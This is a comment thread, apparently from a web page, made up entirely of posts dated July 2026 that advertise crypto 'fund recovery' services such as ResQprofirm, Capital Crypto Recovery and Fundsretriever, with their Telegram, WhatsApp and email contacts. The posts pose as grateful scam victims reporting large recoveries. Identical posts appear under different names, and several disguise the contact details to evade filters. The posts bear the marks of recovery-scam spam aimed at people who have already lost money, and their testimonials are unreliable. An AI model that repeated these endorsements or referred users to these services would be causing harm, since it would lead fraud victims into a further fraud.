Having trouble withdrawing funds from an investment platform? ResQprofirm provides fund recovery assistance for individuals seeking help with investment-related disputes. I reached out to them after experiencing problems with an investment platform, and I appreciated their professionalism and support throughout the process. If you're facing a similar situation, act promptly, keep records of your transactions and communications, and seek assistance from a qualified recovery service or the appropriate authorities. Contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 985 296 9146
06.07.26 16:31 Joseph Weigl

Invest wisely and stay cautious. Don't be influenced by promises of unusually high returns or convincing sales pitches from brokers. I learned this the hard way after falling victim to an investment scam that promised huge profits. Fortunately, I acted quickly and reported the incident to a recovery firm for assistance. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
06.07.26 16:33 Jaran Løvlien

A heartfelt thank you to RESQPRO FIRM for their commitment and professionalism throughout the investigation of my case. Their team worked diligently and helped recover assets valued at $88,000, which were returned to my wallet. I truly appreciate their support, clear communication, and dedication, and I'm grateful for the assistance I received. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
07.07.26 18:00 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
07.07.26 18:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.07.26 19:06 Toivo Walli

I lost 8.56btc to a fake Bitcoin mining site, I tried withdrawing but couldn't approved my process, I reported to !R£SQPROFIRM! via °R£SQproFirm°àt°gmail•com° °tEL£°gram=R£SQprofirm °whaT°Zap+198°52°96°91°46
09.07.26 19:10 Misty Alexander

Ongoing messages demanding more money before approving withdrawals are a major red flag. Stop engaging and report the incident to a trusted recovery team. For professional support, you can contact R£sQprofirm using °ResQproFirm°àt°g,*ma'il(•)¢m°, TEL£gram ResQprofirm, or |whaTZap| +1-985-296-9146.
09.07.26 19:13 Clara Soto

Anyone receiving continued requests for additional deposits from a scam platform should immediately cut off communication and submit the case to a reputable recovery service for investigation. R£sQprofirm is a dependable firm you can reach at °ResQproFirm°àt°g,*ma'il(•)¢om°, TEL£gram ResQprofirm, or |whaTZap| +1-985-296-9146.
12.07.26 03:30 Kora Baltacha

Time is critical. Act now by reaching out to a reputable, seasoned recovery specialist who will guide you every step of the way. You'll need to submit transaction proof, scammer details, and any other useful information. Armed with this, the experts can trace and attempt to pull your money back from the scammers' hidden accounts or wallets. Best of all, R£sQprofirm provides recovery help without charging any upfront fees. Contact them immediately via Telegram @ResQprofirm, WhatsApp +19852969146, or email [email protected].
12.07.26 03:33 Pahal Mathew

It's important to move proactively by engaging an experienced recovery specialist. They will assist you throughout the process. To help them, provide: · Transaction evidence · Scammer information · Any additional relevant details The experts will then track and try to retrieve your funds from the scammers' hidden accounts or wallets. R£sQprofirm offers recovery assistance with no upfront fees. Contact: Telegram: @ResQprofirm WhatsApp: +19852969146 Email: [email protected]
13.07.26 23:49 [email protected]

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16.07.26 21:38 patricialovick86

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17.07.26 20:12 martinsjude080

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18.07.26 17:12 Malthe Larsen

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18.07.26 23:51 bernalzenaida

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19.07.26 04:10 Fraddy Pual

I can't thank Fundsretriever enough for everything they did for me. My name is Vanessa Conway, and I'm here to tell you my story of how I recovered money I never thought I'd see again. A few months ago, I put a significant amount of money into what looked like a genuine online investment company. At first, it felt real—they showed me fake profits and convinced me to invest even more. But when I tried to cash out, they went quiet and started asking for extra fees. That's when it hit me—I had been scammed. I was heartbroken, frustrated, and didn't know where to turn. That money was my savings—months of hard work gone. Then I found Fundsretriever online. I reached out, hoping for a miracle. Right away, their team made me feel heard. They were responsive, knowledgeable, and walked me through everything. They didn't just take my case—they took it seriously and kept me in the loop every step of the way. I finally felt like I had real experts fighting for me. And guess what? They actually got my money back. It wasn't instant, and it took teamwork, but it happened. When I saw those funds returned, I cried with joy. I'm sharing this so that anyone else out there who's been scammed knows—don't lose hope. Do your research before investing, and stay far away from platforms that promise too much too fast. And if you've already been stung, don't wait—get professional help immediately. Thank you, Fundsretriever, from the bottom of my heart. You didn't just recover my money—you restored my faith. — Vanessa Conway 📧 [email protected] 📱 WhatsApp: +16035121448 💬 Telegram: @Fundsretriever
19.07.26 19:53 kimberlyhebertt6877

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19.07.26 19:53 kimberlyhebertt6877

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19.07.26 19:54 kimberlyhebertt6877

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